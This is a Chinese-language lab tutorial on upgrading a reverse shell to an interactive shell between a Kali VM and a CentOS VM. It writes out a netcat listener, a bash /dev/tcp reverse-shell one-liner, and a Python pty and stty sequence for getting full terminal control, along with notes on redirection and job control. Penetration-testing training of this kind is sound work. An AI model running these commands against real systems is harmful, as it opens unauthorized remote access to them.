1. 程式人生 > 實用技巧 >反彈shell升級成互動式shell

反彈shell升級成互動式shell

實驗環境:

A : kali 虛擬機器

B: centos7.5 虛擬機器

1. A 機 kali 虛擬機器 設定監聽 埠

root@kali64:~# nc -lvvp 9001
# 埠隨便定義,沒被使用就行

2. B機 執行命令反彈shell

[root@localhost ~]# bash -i >& /dev/tcp/192.168.2.128/9001 0>&1
# ip地址為 kali 虛擬機器的ip地址,埠為kali虛擬機器監聽的埠 主機ip和埠之間為`/`

補充:

  • 標準輸入 (stdin) :程式碼為 0

  • 標準輸出 (stdout):程式碼為 1

  • 標準錯誤 (stderr):程式碼為 2

> 為重定向符號 , & 沒有固定的意思

&>>&理解成一個整體

&>file # 將 標準輸出 和 標準錯誤輸出 都重定向到檔案file中

>& # 將標準輸出和標準錯誤輸出重定向到檔案/dev/tcp/,即傳遞到遠端

2>&1 # 將標準錯誤重定向到標準輸出中

0>&1 # 將標準輸入重定向到標準輸出中

  • 反彈後再kali機上面檢視,可以輸入命令,不支援tab鍵,清屏等功能,需要升級成互動式shell

3.升級互動式shell

# 以下命令都是在kali 機上面操作

[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'   #使用python
[root@localhost ~]# ^Z		      # ctrl + z 按鍵  掛起正在執行的程式 
root@kali64:~# stty raw -echo	      # 輸入這句後 在輸入命令終端不在顯示 
root@kali64:~# fg		      # 把後臺掛起的程式,放到控制檯----》 終端不顯示命令,輸入後回車
[root@localhost ~]# reset
[root@localhost ~]# export SHELL=bash

退回到kali機
# 以下命令都在kali機上面操作

[root@localhost ~]# exit       # 退出終端
[root@localhost ~]# exit       # 看前面主機名和使用者來區分,繼續退出,
root@kali64:~#  
# 看到主機名變為kali說明回到kali機上面了------ 此時輸入命令是不顯示的

root@kali64:~# reset           # 將終端恢復至原始狀態

補充:

stty -echo # 禁止回顯,當在鍵盤上輸入時,並不出現在螢幕上

stty echo # 打開回顯

stty raw # 設定原始輸入

stty -raw # 關閉原始輸入

bg # 將一個在後臺暫停的命令,變成繼續執行

fg # 將後臺中的命令調至前臺繼續執行

jobs # 檢視當前有多少在後臺執行的命令

ctrl + z # 可以將一個正在前臺執行的命令放到後臺,並且暫停

clear # 清屏,本質上只是讓終端顯示頁向後翻了一頁,如果向上滾動螢幕還可以看到之前的操作資訊。

reset # 將終端恢復至原始狀態,之前的終端輸入操作資訊將都會被清空